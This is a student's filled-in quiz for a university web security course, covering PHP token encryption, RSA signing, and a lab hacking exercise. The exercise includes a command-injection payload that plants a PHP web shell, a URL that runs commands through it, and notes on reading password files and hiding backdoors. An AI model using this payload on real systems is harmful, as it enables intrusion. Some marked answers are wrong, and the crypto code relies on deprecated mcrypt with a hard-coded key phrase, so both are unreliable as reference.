CS591 F2018 Quiz 2 Web Page

Enter your answers on the web page and after completing your answers, save a copy of you web page with answers for your own record (as a pdf file to save some tree) and push the submit button. You have until 11/20/2018 11:59pm to finish the midterm. Treat the yes/no questions as multiple-choice questions. You must choose either yes or no for each answer.
Save a copy of your answers before hitting the submit button. Make sure you see the "login OK" on the response web page. If you enter your password wrong, it will not save your quiz1 submission and display "login ok" message. If you have problem accessing the web server for submitting the answer, email me your pdf file with answers. Enter the following information. The password is used to verify the person submitting the answers.

Your name:	Alta Graham
Your UFP account name:	agraham
Your password (All nine digits of your Student ID without dash, no prefix #a):	•••••••••

1. Create Secure App with PHP Crypto API

a. Encryption and decryption.
with php/regk.php we create a token value by using the $email.'cyber' as plaintet and encrypt it with AES 256 bit key with mnemonic string "mobileWebProgramming"

```
 92 $plaintext=$email.'cyber';
 93 $key=hash('sha256', 'mobileWebProgramming', true);
 94 $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
 95 $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
 96 $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
 97                                 $plaintext, MCRYPT_MODE_CBC, $iv);
 98 # prepend the IV for it to be available for decryption
 99 $ivciphertext = $iv . $ciphertext;
100 $ivciphertext_base64 = base64_encode($ivciphertext);
101 $token=urlencode($ivciphertext_base64);
```

An email with the link created using http://$domain\/php/confirmk.php?email=$email&token=$token are sent to the applicant. When they click on the link
the $email and $token value is submitted to confirmk.php for processing. Here is the code for checking the token value is authentic.

```
 24 $ciphertext_dec = base64_decode($ciphertext_base64);
 25 $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
 26 $iv_dec = substr($ciphertext_dec, 0, $iv_size);
 27 $key=hash('sha256', 'mobileWebProgramming', true);
 28 $ciphertext_dec = substr($ciphertext_dec, $iv_size);
 29 $plaintext_dec = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,
 30                                 $ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);
 31 $keystring=$email.'cyber';
 32 $pl=strlen($plaintext_dec);
 33 $kl=strlen($keystring);
 34 $plaintext_nopad=substr($plaintext_dec, 0, $kl);
 35 $pnl=strlen($plaintext_nopad);
 36 if (strcmp($keystring, $plaintext_nopad) == 0) {
 37    print "token matched!<br />";
 38 } else {
 39    print "token does not match!. Registration is denied.< br />\n";
 40    exit(1);
 41 }
```

1. Which basic service is implemented here by regk.php and confirmk.php? Integrity
2. If we change the key size to 128 bits, what will be the first parameter the hash function in Line 93?
   md5
3. In lines 100-101 of regk.php, we first encode the data with base64, then perform urlencode. In Line24 of confirmk.php, we only see base64_decode is performed. Why confirmk.php does not perform urldecode first?
   php interpreter takes care of the urldecode
4. If we change line 92 of regk.php to $plaintext=$email."AS". when we enter hoh@uccs.edu as email address, what will be the size of $ciphertext in terms of bytes?
   16

b. Sign and Verify.
1. In viva /home/cs591/public_html/crypto/sign directory, it contains the signature.dat generated by the sign.php. The ls -al signature.dat shows the size of signature .dat file is 256 bytes. Why the signature.dat is 256 bytes?
   Because the second step of the signing process is RSA algorithm use a private key size of 256 bytes as input.

```
openssl_sign($data, $signature, $pkeyid, OPENSSL_ALGO_SHA256);
```

2. In the above openssl_sign() call, how many bytes of hash will be generated in the first step?
   32
   What algorithm will be used to encypt the hash as signature?
   RSA

2. Hacking and Patching
   a. https://cs3110.myuccs.net/keyaccess.html has command injection vulnerability. By adding "& echo '<?php passthru($_GET[cmd]); ?>' > ../html/gsc/sh2b.php &"
   we were able to add sh2b.php to /var/www/html/gsc/ directory.
   Why apache web server allows such trojan to be deposit there?
   Because the gsc directory is owned by apache.
   b. Since we know someone has deposit sh2b.php in /var/www/html/gsc of cs3110.myuccs.net instance, what are exploit command you can launch from a browser to verify your answer to 2a?
   http://cs3110.myuccs.net/gsc/sh2b.php?cmd=ls%20-al
   c. Which is true in the following statements?
   An python script without input validation can be easily hacked than a php script with input validation.

3. Penetration Testing related the hacking methodology discussed in "Hacking exposed" by McClure et al.
   a. The first step of hacking methodology is footprinting.
   (•) Yes ( ) No
   b. Which tool is popular for network scanning?

1. nmap	(•) Yes	( ) No
2. wiredshark	( ) Yes	(•) No
3. ping	( ) Yes	(•) No
4. iptable	( ) Yes	(•) No

   c. Gaining Access.

1. Socail Engineering is considered the easier way to gain access to a system.	(•) Yes	( ) No
2. Command injection can be prevented 100% not using any system code.	( ) Yes	(•) No
3. SQL injection allow OS command to be injected.	( ) Yes	(•) No

   d. Escalating Privileges/Pilferting (You can use cs3110.myuccs.net or your own instance for verifying your answers of this problem.)
   With the command inject vulnerability in aws key access web app (keyaccess.html and vul.py),
      1. The hacker can use "cat /etc/shadow" to see the encrypted password.
      ( ) Yes (•) No
      2. The hacker can use "cat passwd" to see a plain password file content.
      (•) Yes ( ) No
      3. With "cat enpasswd", the hacker sees the first line of encpasswd contain
      csnet:6fyionly$WXfqNItRpNIXXTRIOG5bC6CtEMsKpfykS1snMael5lFwAYisHHvhRKwMQybILilZFBocqVQpuy8oHWXp.XuYw.
      The 6 between the two '$' is the password generation method.
      ( ) Yes (•) No
      4. With "cat ../html/php/regk.php", the hacker can find the credential to access a database server.
      (•) Yes ( ) No
   e. Creating backdoors.
      1. We can hide the trajon files such as sh12.php saving it to the directory with ".1d" as a directory name.
      ( ) Yes ( ) No
      2. We can substitute rarely used php script file with the content such as 1.php.
      (•) Yes ( ) No
      3. Which basic security service help you defend against replacement of your php scripts files?

a. Confidentiality	( ) Yes	(•) No
b. Integrity	(•) Yes	( ) No
c. Availability	( ) Yes	(•) No

If you feel some of the questions are ambiguous, state the problem # and your assumptions on the answers.

In 1.b I assumed the use of RSA as in our examples and homework.
In 1.b.1, because it is only talking about a single call, I was not sure what was meant by "first step," but SHA256 generates a 32 byte hash.
In 3.b.3, I assumed that "ping" did NOT refer to the network scanning tool fping, and that ping as a system command was too general to considered a "tool."

submit